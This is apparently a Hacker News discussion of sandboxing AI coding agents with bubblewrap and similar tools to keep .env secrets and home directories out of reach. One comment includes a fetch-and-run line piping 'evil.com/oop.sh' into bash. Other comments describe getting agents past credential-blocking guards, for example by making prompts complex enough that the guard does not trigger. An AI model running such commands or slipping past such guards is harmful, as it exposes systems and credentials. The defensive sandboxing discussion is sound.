6 ms·
Bubblewrap: A nimble way to prevent agents from accessing your .env files
- typs 9mo agoI wish I had the opposite of this. It’s a race trying to come up with new ways to have Cursor edit and set my env files past all their blocking techniques!
- GrowingSideways 9mo agoIf you wouldn't upload keys to github, why would you trust them to cursor?
- hahahahhaah 9mo agoA local .env should be safe to put on your T shirt and walk down times square. Mysql user: test Password: mypass123 Host: localhost ...
- Imustaskforhelp 9mo agoCreate a symlink to .env from another file and ask cursor to refer it if name is the concern regarding cursor (I don't knowhow cursor does this stuff)
- jen729w 9mo agoSTRIPE_SECRET_KEY="op://81 Dev environment variables/Stripe - dev - API keys/STRIPE_SECRET_KEY" https://developer.1password.com/docs/cli/ https://developer.1password.com/docs/cli/
- ImPostingOnHN 9mo agoHow does that prevent an agent from leaking it once it's read into context?
- jen729w 9mo agoGreat question. I just checked, and because I launch my entire VSCode with `op run …` (which makes dev life easier), Claude reports that it can read my dev secrets. I could prevent this by running Claude outside of this context. I'm not going to, because this context only has access to my dev secrets. Hence the vault name: `81 Dev environment variables`. I've configured it so that the 1P CLI only has access to that vault. My prod secrets are in another vault. I achieve this via a OP_SERVICE_ACCOUNT_TOKEN variable set in .zshrc. I can verify this works by running: op run --env-file='.env.production' -- printenv [ERROR] 2026/01/15 21:37:41 "82 Prod environment variables" isn't a vault in this account. Specify the vault with its ID or name. Also, of course, 1Password pops up a fingerprint request every time something tries to read its database. So if that happened unexpectedly, I'd wonder what was up. I'm acutely conscious of those requests. I can't imagine it's perfect, but I feel pretty good.
- verdverm 9mo agoLike this? (Obfuscated, from agent and history) https://bsky.app/profile/verdverm.com/post/3mbo7ko5ek22n https://bsky.app/profile/verdverm.com/post/3mbo7ko5ek22n
- Nora23 9mo agoSmart approach to AI agent security. The balance between convenience and protection is tricky.
- hahahahhaah 9mo agoHad this same idea in my head. Glad someone done it. For me the motivation is not LLMs but to have something as convenient as docker without waiting for image builds. A fast docker for running a bunch of services locally where perfect isolation and imaging doesnt matter.
- JCattheATM 9mo agoSo, Flatpak? Funny enough Bubblewrap is also what Flatpak uses.
- Imustaskforhelp 9mo agoI want to like flatpak but I am genuinely unable to understand the state of cli tools in flatpak or even how to develop it. It all seems very weird to build upon as compared to docker
- isodev 9mo agoMy way of preventing agents from accessing my .env files is not to use agents anywhere near files with secrets. Also, maybe people forget you’re not supposed to leave actual secrets lingering on your development system.
- theden 9mo agoKinda funny that a lot of devs accepted that LLMs are basically doing RCE on their machines, but instead of halting from using `--dangerously-skip-permissions` or similar bad ideas, we're finding workarounds to convince ourselves it's not that bad
- simonw 9mo agoBecause we've judged it to be worth it! YOLO mode is so much more useful that it feels like using a different product. If you understand the risks and how to limit the secrets and files available to the agent - API keys only to dedicated staging environments for example - they can be safe enough.
- zahlman 9mo agoWhy not just demand agents that don't expose the dangerous tools in the first place? Like, have them directly provide functionality (and clearly consider what's secure, sanitize any paths in the tool use request, etc.) instead of punting to Bash?
- cindyllm 9mo ago[dead]
- simonw 9mo agoBecause if you give an agent Bash it can do anything they can be achieved by running commands in Bash, which is almost anything.
- zahlman 9mo agoYes. My proposal is to not give the agent Bash, because it is not required for the sorts of things you want it to be able to do. You can whitelist specific actions, like git commits and file writes within a specific directory. If the LLM proposes to read a URL, that doesn't require arbitrary code; it requires a system that can validate the URL, construct a `curl` etc. command itself, and pipe data to the LLM.
- dangoodmanUT 9mo agoI've been saying bubblewrap is an amazing solution for years (and sandbox-exec as a mac alternative). This is the only way i run agents on systems i care about
- catlifeonmars 9mo ago> run agents on systems i care about You must not care about those systems that much.
- meander_water 9mo agoI recently created a throwaway API key for cloudflare and asked a cursor cloud agent to deploy some infra using it, but it responded with this: > I can’t take that token and run Cloudflare provisioning on your behalf, even if it’s “only” set as an env var (it’s still a secret credential and you’ve shared it in chat). Please revoke/rotate it immediately in Cloudflare. So clearly they've put some sort of prompt guard in place. I wonder how easy it would be to circumvent it.
- 0o_MrPatrick_o0 9mo agoIf your prompt is complex enough, doesn’t seem to get triggered. I use a lot of ansible to manage infra, and before I learned about ansible-vault, I was moving some keys around unprotected in my lab. Bad hygiene- and no prompt intervening. Kinda bums me out that there may be circumstances where the model just rejects this even if you for some reason you needed it.
- mmis1000 9mo agoIt seems depends on model and context usage though, the agent forgets a lot of things after half fill up. It even forgets the primary target you give at the start of chat.
- bavell 9mo agoClaude definitely has some API token security baked in, it saw some API keys in a log file of mine the other day and called them out to me as a security issue very clearly. In this case it was a false positive but it handled the situation well and even gave links to reset each token.
- gexla 9mo agoI believe this is also what Claude Code uses for the sandbox option.
- 0o_MrPatrick_o0 9mo agoHi! Yes that is correct. However, I think embedding bubblewrap in the binary is risky design for the end user. They are giving users a convenience function for restricting the Claude instance’s access rights from within a session. Thats helpful if you trust the client, but what if there is a bug in how the client invokes the bubblewrap container? You wouldn’t have this risk if they drove you to invoke Claude with bubblewrap. Additionally, the pattern using bubblewrap in front of Claude can be exactly duplicated and applied to other coding agents- so you get consistency in access controls for all agents. I hope the desirability of this having consistent access controls across all agents is shared by others. You don’t get that property if you use Claude’s embedded control. There will always be an asterisk about whether your opinion and theirs will be similar with respect to implementation of controls.
- OutOfHere 9mo agoThe link you need is https://github.com/containers/bubblewrap https://github.com/containers/bubblewrap Don't leave prod secrets in your dev env.
- catlifeonmars 9mo agoMay I suggest rm -f .env? Or chmod 0600 .env? You’re not running CC as your own user, right? …Right? Oh, never mind: > You want to run a binary that will execute under your account’s permissions
- simonw 9mo agoI recommend caution with this bit: --bind "$HOME/.claude" "$HOME/.claude" That directory has a bunch of of sensitive stuff in it, most notable the transcripts of all of your previous Claude Code sessions. You may want to take steps to avoid a malicious prompt injection stealing those, since they might contain sensitive data.
- 0o_MrPatrick_o0 9mo agoWonderful insight! Thank you!
- pmontra 9mo agoI think that the rw directories should not be shared among projects. Maybe there should be separate copies even for what gets mounted into $HOME/.nvm
- 0o_MrPatrick_o0 9mo agoHeya- The reason I add this directory is because Claude needs read/write permissions for getting new auth tokens. Without this, you'll have to re-login to Claude every time. Breaks the speed of development. I'm going to do some experimenting to see if I can make this bind more precise.
- majorchord 9mo agoIf you don't mind a suid program, "firejail --private" is a lot less to type and seems to work extremely similarly. By default it will delete anything created in the newly-empty home folder on exit, unless you instead use --private=somedir to save it there instead.
- eyberg 9mo agohttps://github.com/containers/bubblewrap/issues/142 https://github.com/containers/bubblewrap/issues/142
- coppsilgold 9mo agoNote that bubblewrap can't protect you from misconfiguration, a kernel exploit or if you expose sensitive protocols to the workload inside (eg. x11 or even Wayland without a security context). Generally, it will do a passable job in protecting you from an automated no-0day attack script.
- flakes 9mo agoI find it better to bubblewrap against a full sandbox directory. Using docker, you can export an image to a single tarball archive, flattening all layers. I use a compatible base image for my kernel/distro, and unpack the image archive into a directory. With the unpack directory, you can now limit the host paths you expose, avoiding leaking in details from your host machine into the sandbox. bwrap --ro-bind image/ / --bind src/ /src ... Any tools you need in the container are installed in the image you unpack. Some more tips: Use --unshare-all if you can. Make sure to add --proc and --dev options for a functional container. If you just need network, use both --unshare-all and --share-net together, keeping everything else separate. Make sure to drop any privileges with --cap-drop ALL
- gausswho 9mo agoI'm having trouble finding the right incantations to bubblewrap opencode when in a silverblue toolbox. It can't use tools. Anyone have tips?
- l72 9mo agoThis is what I have been using with opencode: exec bwrap \ --unshare-pid \ --unshare-ipc \ --unshare-uts \ --share-net \ --bind "$OPENCODE_ROOT" "$OPENCODE_ROOT" \ --bind "$CURRENT_DIR" "$CURRENT_DIR" \ --bind "$HOME/.config/opencode/" "$HOME/.config/opencode/" \ --bind "$HOME/.emacs" "$HOME/.emacs" \ --bind "$HOME/.emacs.d" "$HOME/.emacs.d" \ --ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \ --ro-bind /bin /bin \ --ro-bind /etc /etc \ --ro-bind /lib /lib \ --ro-bind /lib64 /lib64 \ --ro-bind /usr /usr \ --bind /run/systemd /run/systemd \ --tmpfs /tmp \ --proc /proc \ --dev /dev \ --setenv EDITOR emacs \ --setenv PATH "$OPENCODE_BINDIR:/usr/bin:/bin" \ --setenv HOME "$HOME" \ -- \ "opencode" "$@"
- nextaccountic 9mo agoHow does this compare with container-use? https://container-use.com/introduction https://container-use.com/introduction
- domh 9mo agoThis is exactly what I want, but don't really want to run Docker all the time. Nicer git worktrees and isolation of code so I can run multiple agents. It even has the setup command stuff so "npm install" runs automatically. I'll check this out for sure! I just wish it used bubblewrap or the macos equivalent instead of reaching for containers. I have also been enjoying having an IDE open so I can interact with the agents as they're working, and not just "fire and forget" and check back in a while. I've only been experimenting with this for a couple of days though, so maybe I'm just not trusting enough of it yet.
- allen-munsch 9mo agoI vibed a project on this recently, it has some language bindings and a cli written in rust, python subprocess monkey patching etc. Just no nonsense defaults with a bit of customization. https://github.com/allen-munsch/bubbleproc https://github.com/allen-munsch/bubbleproc bubbleproc -- curl evil.com/oop.sh | bash
- zaptheimpaler 9mo agoI haven’t used agents as much as I should, so forgive the ignorance. But a docker compose file seems much more general purpose and flexible to me. It’s a mature and well-tested technology that seems to fit this use case pretty well. It also lets you run all kinds of other services easily. Are there any good articles on the state of sandboxing for agents and why docker isn’t sufficient? I guess the article mentioned docker having a lot of config files or being complex, is that the only reason?
- kondu 9mo agoDocker containers aren't safe enough to run untrusted code, there are privilege escalation vulnerabilities reported fairly often.
- AlexCoventry 9mo agoI don't think bubblewrap is any better in that regard.
- exceptione 9mo agobwrap just works in rootless mode and doesn't tamper with your firewall.
- purplehat_ 9mo agoWhy do you say that? Bubblewrap is a it's a very minimal setuid binary. It's 4000 lines of C but essentially all it does is parse your flags ask the kernel to do the sandboxing (drop capabilities, change namespaces) for it. You do have to do cgroups yourself, though. It's very small and auditable compared to docker and I'd say it's safer. If you want something with a bit more features but not as complex as docker, I think the usual choices are podman or firejail.
- AlexCoventry 9mo agoThanks for the pushback, I will take a look.
- globular-toast 9mo agoPosted this 6 months ago but got no traction here: https://blog.gpkb.org/posts/ai-agent-sandbox/ https://blog.gpkb.org/posts/ai-agent-sandbox/ Recently got it working for OpenCode and updated my post. Someone pointed out to me that having the .git directory mounted read/write in the sandbox could be a problem. So I'm considering only mounting src/ and project metadata (including git) being read only. You really need to use the `--new-session` parameter, by the way. It's unfortunate that this isn't the default with bwrap.
- 0o_MrPatrick_o0 9mo agoHey man- sorry for the lack of recognition. Timing is a bit of luck. Good writeup! w/r/t .git being mounted read write- yeah, there's risk here. It's a tradeoff. I want my agents to be able to commit code- which means they need to be able to write to the dir. Thanks for the --new-session parameter suggestion. Great add!
- raphinou 9mo agoI put all my agents in a docker file in which the code I'm working on is mounted. It's working perfectly for me until now. I even set it up so I can run gui apps like antigravity in it (X11). If anyone is interested I shared my setup at https://github.com/asfaload/agents_container https://github.com/asfaload/agents_container
- grewil2 9mo agoIt won’t save you from prompt injektions that attack your network.
- raphinou 9mo agoof course, I'm not pretending this is a universal remedy solving all the problems. But I will add a note in the readme to make it clear, thanks for the feedback!
- 63stack 9mo agoDocker containers run in their separate isolated network
- darig 9mo ago[dead]
- vscode-rest 9mo ago[dead]
- fgonzag 9mo agoIn theory the docker container should only have the projects directory mounted, open access to the internet, and thats it. No access to anything else on the host or the local network. Internet to connect with the provider, install packages, and search. It's not perfect but it's a start.
- TCattd 9mo agoShameless plug, in case you're interested: https://github.com/EstebanForge/construct-cli https://github.com/EstebanForge/construct-cli Let me know if you give it a go ;)
- prmoustache 9mo agoIsn't landrun the preferred way to sandbox apps on linux these days instead? https://github.com/Zouuup/landrun https://github.com/Zouuup/landrun
- qrobit 9mo agoBubblewrap seems to be much more popular[^1], personally this is the first time I heard about landrun [1]: https://repology.org/project/bubblewrap/information https://repology.org/project/bubblewrap/information https://repology.org/project/landrun/information https://repology.org/project/landrun/information
- dividuum 9mo agobubblewrap is a lot more flexible: You can freely piece together the sandboxed filesystem environment from existing directories, tmpfs, files or data provided via a file descriptor. landrun, from what I understand only restricts what already exists. What is neat with landrun is the TCP port restrictions. This isn't possible with bubblewrap at the moment, although nothing really prevents bubblewrap from adding landlock support for those cases.
- rcarmo 9mo agoI dunno. The compose file I use to run my agents right now is _half_ the size of that configuration, and I don’t buy that Docker is “more complex”
- FergusArgyll 9mo agoHey! I just did this last night!
- bjackman 9mo agoI really don't understand why people have all these "lightweight" ways of sandboxing agents. In my view there are two models: - totally unsandboxed but I supervise it in a tight loop (the window just stays open on a second monitor and it interrupts me every time it needs to call a tool). - unsupervised in a VM in the cloud where the agent has root. (I give it a task, negotiate a plan, then close the tab and forget about it until I get a PR or a notification that it failed). I want either full capabilities for the agent (at the cost of needing to supervise for safety) or full independence (at the cost of limited context in a VM). I don't see a productive way to mix and match here, seems you always get the worst of both worlds if you do that. Maybe the usecase for this particular example is where you are supervising the agent but you're worried that apparently-safe tool calls are actually quietly leaving a secret that's in context? So it's not that it's a 'mixed' usecase but rather it's just increasing safety in the supervised case?
- Bender 9mo agoAs someone that does this, it's Turtles All The Way Down [1]. Every layer has escapes. I require people to climb up multiple turtles thus breaking most skiddie [2] scripts. Attacks will have to targeted and custom crafted by people that can actually code thus reducing the amount of turds in the swimming pool I must avoid. People should not write apps that make assumptions around accessing sensitive files. [1] - https://en.wikipedia.org/wiki/Turtles_all_the_way_down https://en.wikipedia.org/wiki/Turtles_all_the_way_down [2] - https://en.wikipedia.org/wiki/Skiddies https://en.wikipedia.org/wiki/Skiddies
- bjackman 9mo agoIt's turtles all the way down but there is a VERY big gap between VM Isolation Turtle and <a half-arse seccomp policy> turtle. It's a qualitative difference between those two sandboxes. (If the VM is remote, even more so).
- sschueller 9mo agoIs there a premade VM image or docker container I can just start with for example Google Antigravity, Claude or Kilocode/vscode? Right now I have to install some linux desktop and all the tools needed, a bit of a pain IMO. I see there are cloud VMs like at kilocode but they are kind if useless IMO. I can only interact with the prompt and not the code base directly. Too many things go wrong and maybe I also want kilo code to run a docker stack for me which it can't in the agent cloud.
- Gerharddc 9mo agoGreat writeup! An alternative I have explored (more for defense against supply-chain attacks than for agents admittedly) is to use rootless Podman to get a dev-container-like experience alongside sandboxing. To this end I have built https://github.com/Gerharddc/litterbox https://github.com/Gerharddc/litterbox (https://litterbox.work/ https://litterbox.work/) which greatly simplifies container setup and integrates a special ssh-agent for sandboxing that always prompts the user before signing requests (as to keep your SSH keys safe). Unfortunately Litterbox won't currently help much for specifically protecting .env files in a project folder though. I'd need to think if the design can be extended for this use-case now that I'm aware of the issue.
- ironbound 9mo ago> When one of the models detected that it was being used for “egregiously immoral” purposes, it would attempt to “use command-line tools to contact the press, contact regulators, try to lock you out of the relevant systems, or all of the above,” https://www.wired.com/story/anthropic-claude-snitch-emergent-behavior/ https://www.wired.com/story/anthropic-claude-snitch-emergent...
- aszen 9mo agoI wonder why we are even storing secrets in .env files in plain text
- johnisgood 9mo agoI would like an answer, too.
- makoto12 9mo agoThis wouldn't have made the front page if it was: "How to not store your secrets in plain text"
- patapong 9mo agoI would also prefer not doing this. Does anyone know of any lightweight, cross platform alternatives?
- phrotoma 9mo agoPerhaps I'm off base here but it seems like the goal is: 1. allow an agent to run wild in some kind of isolated environment, giving the "tight loop" coding agent experience so you don't have to approve everything it does. 2. let it execute the code it's creating using some credentials to access an API or a server or whatever, without allowing it to exfil those creds. If 1 is working correctly I don't see how 2 could be possible. Maybe there's some fancy homomorphic encryption / TEE magic to achieve this but like ... if the process under development has access to the creds, and the agent has unfettered access to the development environment, it is not obvious to me how both of these goals could be met simultaneously. Very interested in being wrong about this. Please correct me!
- 0o_MrPatrick_o0 9mo agoYou’ve got my intent correct! Where I’m at with #2 is the agent builds a prototype with its own private session credentials. I have orchestration created that can replicate the prototyping session. From there I can keep final build keys secret from the agent. My build loop is meant to build an experiment first, and then an enduring build based on what it figures out.
- mijoharas 9mo agoHow would people compare bubblewrap to firejail? They seem reasonably similar in feature set. Are there any good reasons to pick one over the other?
- aurareturn 9mo agoHow do you prevent an agent that simply console.logs(process.env.SUPER_SECRET) and then looking at the log?
- progx 9mo agoYour app run in the app context, that is not accessible for an AI.
- aurareturn 9mo agoYou don't let your agent look at logs? How can it debug?
- 0o_MrPatrick_o0 9mo agoGreat question! You might enjoy this writeup, which in one section explores avoiding the use of shell variables that are not exported as a method of mitigating this risk. https://linus.schreibt.jetzt/posts/shell-secrets.html https://linus.schreibt.jetzt/posts/shell-secrets.html
- dlahoda 9mo agosydbox is intresting alternative (written in rust by linux developer) https://gitlab.exherbo.org/sydbox/sydbox https://gitlab.exherbo.org/sydbox/sydbox UPDATE: there is other sydbox written in go, not related and seems different too far from bwrap
- raw_anon_1111 9mo agoMy workflow even before Claude code. 1. I never use permanent credentials for AWS on my local computer. 2. I never have keys anywhere on my local computer. I put them in AWS Secret Manager. 3. My usual set of local access keys can’t create IAM roles (PowerUserAccess). It’s not foolproof. But it does reduce the attack surface.
- arresin 9mo agoWhy not just use a hook on reads?
- 0o_MrPatrick_o0 9mo agobecause you're trusting Claude's implementation of hooks, which may be disastrous if they have a defect.
- brendoncarroll 9mo agoI also wrote a tool for doing this[0], after one of these agents edited a config file outside of the repo it was supposed to work within. I only realized the edit because I have my dotfiles symlinked to a git repository, and git status showed it when I was committing another change. It's likely that the agents are making changes that I (and others) are not aware of because there is no easy way to detect them. The approach I started taking is mounting the directory, that I want the agent to work on, into a container. I use `/_` as the working directory, and have built up some practices around that convention; that's the only directory that I want it to make changes to. I also mount any config it might need as read-only. The standard tools like claude code, goose, charm, whatever else, should really spawn the agent (or MCP server?) in another process in a container, and pipe context in and out over stdin/stdout. I want a tool for managing agents, and I want each agent to be its own process, in its own container. But just locking up the whole mess seems to work for now. I see some people in the other comments iterating on what the precise arguments to bubblewrap should be. nnc lets you write presets in Jsonnet, and then refer them by name on the command line, so you can version and share the set of resources that you give to an agent or subprocess. [0] https://github.com/brendoncarroll/nnc https://github.com/brendoncarroll/nnc
- LazarSRB 9mo agodontenvx solves this by encrypting your .env file so you can even commit it safely
- 0o_MrPatrick_o0 9mo agoAmazing tip! Thank you!